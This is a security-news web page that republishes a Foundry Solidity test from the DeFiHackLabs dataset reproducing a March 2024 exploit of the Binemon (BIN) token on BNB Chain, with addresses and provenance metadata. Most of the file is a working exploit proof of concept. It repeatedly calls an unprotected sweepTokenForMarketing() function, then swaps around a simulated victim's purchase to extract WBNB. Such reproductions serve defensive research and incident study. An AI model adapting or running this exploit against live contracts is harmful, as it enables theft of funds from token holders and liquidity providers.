Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/Binemon_exp.sol

Public reproduction file for dataset entry Binemon.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/Binemon_exp.sol79 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~0.2 $BNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0x132e1ea5db918dae00eef685b845c409a83dfa82
7// Vulnerable Contract : https://bscscan.com/address/0xe56842ed550ff2794f010738554db45e60730371
8// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IBIN_WBNB {}
15interface IBIN is IERC20 {
16 function sweepTokenForMarketing() external;
19contract ContractTest is Test {
20 IBIN BIN = IBIN(address(0xe56842Ed550Ff2794F010738554db45E60730371));
21 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
22 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
24 address otherUser = 0xAb7BF20f8Ebbb286644b2C57ea448F27ef0598d4;
26 function setUp() public {
27 vm.createSelectFork("bsc", 36_864_395 - 1);
28 vm.label(address(Router), "Router");
29 vm.label(address(BIN), "BIN");
30 vm.label(address(WBNB), "WBNB");
31 }
33 function testExploit() public {
34 WBNB.approve(address(Router), type(uint256).max);
35 BIN.approve(address(Router), type(uint256).max);
36 deal(address(WBNB), address(this), 1 ether);
37 deal(address(WBNB), address(otherUser), 10 ether);
38 emit log_named_decimal_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)), 18);
39 while (BIN.balanceOf(address(BIN)) > 1_000_000_000_000_000_000_000_000) {
40 BIN.sweepTokenForMarketing();
41 }
42 WBNBTOTOKEN();
44 // Wait for other users to buy in
45 vm.startPrank(address(otherUser));
46 WBNB.approve(address(Router), type(uint256).max);
47 address[] memory path = new address[](2);
48 path[0] = address(WBNB);
49 path[1] = address(BIN);
50 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
51 WBNB.balanceOf(address(otherUser)), 0, path, address(otherUser), block.timestamp
52 );
53 vm.stopPrank();
55 TOKENTOWBNB();
56 emit log_named_decimal_uint("Attacker WBNB balance before attack:", WBNB.balanceOf(address(this)), 18);
57 }
59 function TOKENTOWBNB() internal {
60 address[] memory path = new address[](2);
61 path[0] = address(BIN);
62 path[1] = address(WBNB);
63 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
64 BIN.balanceOf(address(this)), 0, path, address(this), block.timestamp
65 );
66 }
68 function WBNBTOTOKEN() internal {
69 address[] memory path = new address[](2);
70 path[0] = address(WBNB);
71 path[1] = address(BIN);
72 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
73 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
74 );
75 }
77 fallback() external payable {}
78 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Binemon” (2024-03-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Attack Contract

    0x132e1ea5db918dae00eef685b845c409a83dfa82

  • Vulnerable Contract

    0xe56842ed550ff2794f010738554db45e60730371

  • Attack Tx

    0x1999bb5c11a8d8bfa7620fc5cc37f5bc59c1a99d7a9250a8d6076c93bbdbeb5f

File record

Name
Binemon
Path
src/test/2024-03/Binemon_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
eb36ade419ba31026e9e0cc37792df1ba58dd498
Language
Solidity
Size
80 lines
Date
2024-03-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/Binemon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob eb36ade419ba31026e9e0cc37792df1ba58dd498, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.